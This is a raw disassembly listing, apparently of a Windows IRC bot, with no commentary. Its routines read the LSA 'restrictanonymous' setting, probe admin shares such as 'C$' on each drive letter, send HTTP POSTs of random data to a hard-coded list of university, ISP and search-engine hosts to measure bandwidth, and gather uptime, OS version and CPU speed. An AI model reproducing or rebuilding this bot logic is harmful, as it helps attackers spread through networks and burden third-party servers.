		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_439D94
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------

loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_439D5C

loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------

loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_439D20
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------

loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_439B38

loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB09C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_439A00
		mov	edi, 200h

loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_439D00
		jmp	short loc_41A341
; ---------------------------------------------------------------------------

loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_439CD8

loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_439A10
		jb	short loc_41A321
		nop
		call	near ptr 2830000h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A

loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CB004
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_439D00
		jmp	short loc_41A412
; ---------------------------------------------------------------------------

loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_439CD8

loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B

loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_439CA8
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------

loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_439A40
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 2680CD4h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4CAFA4
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CB024
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_43384C ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------

loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]

loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------

loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx

loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7

loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]

loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4CB03C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798

loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4CB03C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx

loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax

loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax

loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax

loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------

loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi

loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------

loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi

loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------

loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi

loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_439E48
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 2680CD4h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB270
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26C04CCh
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi

loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952

loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------

loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B

loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7

loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi

loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	near ptr 2670580h
		nop
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994

loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7

loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7

loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07

loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17

loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27

loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36

loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx

loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D158
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26C04CCh
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_4312AC

loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_4312A8
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------

loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_4312A4
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_4312A0
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_43129C
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_431298
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C

loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_431290

loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44

loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_437864
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CAE84
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax

loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFE4
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CAF5C
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------

loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A13C
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2711546h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2840000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
